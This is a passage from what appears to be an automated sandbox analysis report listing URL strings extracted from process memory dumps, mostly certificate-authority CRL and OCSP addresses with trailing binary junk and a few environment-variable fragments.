"http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0nbj'v(zik@u![j73gz;" - Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czc?azhzn" - Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;entywindir=c:\windowsentyhomepath=\users\hapubwsnumber_of_processors=8processor_revision=4f00entyentyentyentyprocessor_level=6public=c:\users\publicenty*0.3.6sessionname=consolesystemroot=c:\windowsentyusername=hapubwssystem.transactions9pzqp<" - Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm" - Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?secom" - Source: "00000000-00005400.00000001.157945.00430000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00005400.00000001.157945.06FB1000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00005400.00000001.157945.06FB1000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00005400.00000001.157945.06FB1000.00000004.mdmp") Found URL "http://www.microsoft.com0h3y0w'q<@2/l:p" - Source: "00000000-00005400.00000001.157945.06FB1000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526726'," - Source: "00000000-00005400.00000001.157945.06FB1000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526920')]" - Source: "00000000-00005400.00000001.157945.06FB1000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526919" - Source: "00000000-00005400.00000001.157945.06FB1000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0k26kvj>" - Source: "00000000-00005400.00000001.157945.06FB1000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00005400.00000001.157945.06FB1000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00005400.00000001.157945.06FB1000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/windows%20production%20pca%202023.crl0g[0y0wkhttp://www.microsoft.com/pkiops/certs/windows%20production%20pca%202023.crt0vd!7i6u4$i<-o_-!dq" - Source: "00000000-00005400.00000001.157945.06FB1000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0m$57wjuoq8" - Source: "00000000-00005400.00000001.157945.0701C000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00005400.00000001.157945.08212000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0'.b!" - Source: "00000000-00005400.00000001.157945.08212000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/windows%20production%20pca%202023.crl0g[0y0wkhttp://www.microsoft.com/pkiops/certs/windows%20production%20pca%202023.crt0a08." - Source: "00000000-00005400.00000001.157945.08212000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0k26kvj>" - Source: "00000000-00005400.00000001.157945.08212000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0ox??!j8wb20191207074019.872z0washington1redmond1microsoft" - Source: "00000000-00005400.00000001.157945.08212000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0n%$hvsklwashington1redmond1microsoft" - Source: "00000000-00005400.00000001.157945.08212000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005400.00000001.157945.08212000.00000004.mdmp") Found URL "http://www.microsoft.com0ffcotlkc)" - Source: "00000000-00005400.00000001.157945.08212000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0]bbae" - Source: "00000000-00005400.00000001.157945.08212000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/cr0oft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00005400.00000001.157945.08212000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0" - Source: "00000000-00005400.00000001.157945.08212000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00005400.00000001.157945.08264000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0:'l$zmsnc" - Source: "00000000-00005400.00000001.157945.08264000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt00_1t?lvbp)r" - Source: "00000000-00005400.00000001.157945.08264000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/windows%20production%20pca%202023.crl0g[0y0wkhttp://www.microsoft.com/pkiops/certs/windows%20production%20pca%202023.crt0a08." - Source: "00000000-00005400.00000001.157945.08264000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0qhwbs-ztxnw,xzz" - Source: "00000000-00005400.00000001.157945.08264000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0!2eshttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0riajs7e]ghg+?:081microsoft" - Source: "00000000-00005400.00000001.157945.08264000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/windows%20production%20pca%202023.crl0g[0y0wkhttp://www.microsoft.com/pkiops/certs/windows%20production%20pca%202023.crt0a08.qp" - Source: "00000000-00005400.00000001.157945.08264000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0k26kvj>" - Source: "00000000-00006292.00000000.161899.02FB0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00006292.00000000.161899.02FB0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00006292.00000000.161899.02FB0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00006292.00000000.161899.02FB0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00006292.00000000.161899.02FB0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00006292.00000000.161899.02FB0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00006292.00000000.161899.02FB0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00006292.00000000.161899.02FB0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006292.00000000.161899.02FB0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00006292.00000000.161899.02FB0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00006292.00000000.161899.02FB0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcopsismyfiletypelogonserver=\\desktop-fvvf82ax(i" - Source: "00000000-00006292.00000000.161899.02FB0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00006292.00000000.161899.02FB0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006292.00000000.161899.02FB0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006292.00000000.161899.02FB0000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00006292.00000000.161899.02FB0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm'x" - Source: "00000000-00006292.00000000.161899.02FB0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmax" - Source: "00000000-00006292.00000000.161899.02FB0000.00000004.mdmp") Found URL "http://www.microsoft.com0h3y0w'q<@2/l:p" - Source: "00000000-00006292.00000000.161899.02FB0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00006292.00000000.161899.02FB0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00006292.00000000.161899.03180000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00006292.00000000.161899.077C2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm" - Source: "00000000-00006292.00000000.161899.077C2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006292.00000000.161899.077C2000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?1.3.6.1.5.5.7.1.12r0m0xx4b" - Source: "00000000-00006292.00000000.161899.077C2000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00006292.00000000.161899.077C2000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00006292.00000000.161899.077C2000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00006292.00000000.161899.077C2000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00006292.00000000.161899.077C2000.00000004.mdmp") Found URL "http://www.microsoft.com0h3y0w'q<@2/l:p" - Source: "00000000-00006292.00000000.161899.077C2000.00000004.mdmp") Found URL "http://www.microsoft%q*/)ops/certs/microsoft%20certificate%20list%20ca%202024.crt0%a*1*y" - Source: "00000000-00006292.00000000.161899.077C2000.00000004.mdmp") Found URL "http://www.microsoft.coh3y0w'q<@2/l:p1dey" - Source: "00000000-00006292.00000000.161899.077C2000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00008624.00000000.159630.02FD0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00008624.00000000.159630.02FD0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmax" - Source: "00000000-00008624.00000000.159630.02FD0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00008624.00000000.159630.02FD0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00008624.00000000.159630.02FD0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00008624.00000000.159630.02FD0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00008624.00000000.159630.02FD0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00008624.00000000.159630.02FD0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00008624.00000000.159630.02FD0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00008624.00000000.159630.02FD0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00008624.00000000.159630.02FD0000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00008624.00000000.159630.02FD0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czcaucooe:j9_($nnew" - Source: "00000000-00008624.00000000.159630.02FD0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00008624.00000000.159630.07892000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00008624.00000000.159630.07892000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00008624.00000000.159630.07892000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00008624.00000000.159630.07892000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcaucooe:j9_($nnew" - Source: "00000000-00008624.00000001.160503.02FD0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00008624.00000001.160503.07892000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00008624.00000001.160503.07892000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00008624.00000001.160503.07892000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00008624.00000001.160503.07892000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0," - Source: "00000000-00008624.00000001.160503.07892000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526920utputtype([system.guid])]" - Source: "00000000-00008624.00000001.160503.07892000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00008624.00000001.160503.078F7000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0jp;" - Source: "00000000-00008624.00000001.160503.078F7000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00008624.00000001.160503.078F7000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0m$57wjuolambda_methodmicrosoft.powershell.securityp" - Source: "00000000-00008624.00000001.160503.078F7000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/windows%20production%20pca%202023.crl0g[0y0wkhttp://www.microsoft.com/pkiops/certs/windows%20production%20pca%202023.crt0a08." - Source: "00000000-00008624.00000001.160503.078F7000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0f3e8callsite.targetsystem.configuration.installone(4ceh5't" - Source: "00000000-00008624.00000001.160503.08489000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00008624.00000001.160503.084D3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0dyd!0[p%0" - Source: "00000000-00008624.00000001.160503.084D3000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/windows%20production%20pca%202023.crl0g[0y0wkhttp://www.microsoft.com/pkiops/certs/windows%20production%20pca%202023.crt0vd!7i6u4$i<-o_-!dq" - Source: "00000000-00008624.00000001.160503.08502000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00008624.00000001.160503.08502000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt00_1t?lvbp)r" - Source: "00000000-00008624.00000001.160503.08502000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0qhwbs-ztxnw,xzz" - Source: "00000000-00008624.00000001.160503.08502000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0!2eshttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0n%$hvskli0l0j\" - Source: "00000000-00008624.00000001.160503.08502000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0fg:smxsu$was.,k" - Source: "00000000-00008624.00000001.160503.0852B000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00008624.00000001.160503.0852B000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00008624.00000001.160503.08531000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0:'l$zmsnc" - Source: "00000000-00008624.00000001.160503.08531000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00008624.00000001.160503.0853E000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0" - Source: "00000000-00008624.00000001.160503.0853E000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0::vm4" - Source: "00000000-00008624.00000001.160503.0853E000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0ahq.a)d$g5" - Source: "00000000-00008624.00000001.160503.0853E000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0]bbae" - Source: "00000000-00008624.00000001.160503.0853E000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0:'l$zmsnc" - Source: "00000000-00008624.00000001.160503.0853E000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt00_1t?lvbp)r" - Source: "00000000-00008624.00000001.160503.0853E000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0!2eshttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00009176.00000000.158398.032C0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00009176.00000000.158398.078C2000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0jvhsjv0pjvpxjvxujvptjv8q'jv" - Source: "00000000-00009176.00000000.158398.078C2000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00009176.00000000.158398.078C2000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00009176.00000000.158398.078C2000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00009176.00000000.158398.078C2000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00009176.00000000.158398.078C2000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00009176.00000000.158398.078C2000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00009176.00000000.158398.078C2000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e;" - Source: "00000000-00009176.00000000.158398.078C2000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00009176.00000000.158398.078C2000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00009176.00000000.158398.078C2000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00009176.00000000.158398.078C2000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czcaucooe:j9_($nnew" - Source: "00000000-00009176.00000000.158398.078C2000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0." - Source: "00000000-00009176.00000000.158398.078C2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00009176.00000000.158398.078C2000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?1.3.6.1.4.1.311.64.1.1q1207asmdlistasmdlist&zhn:e4go\1]fasmdlistasmdlist0c0!0a0!pl1" - Source: "00000000-00009176.00000000.158398.078C2000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00009176.00000000.158398.078C2000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00009176.00000000.158398.078C2000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00009176.00000000.158398.078C2000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00009176.00000000.158398.078C2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00009176.00000000.158398.078C2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00009176.00000000.158398.078C2000.00000004.mdmp") Found URL 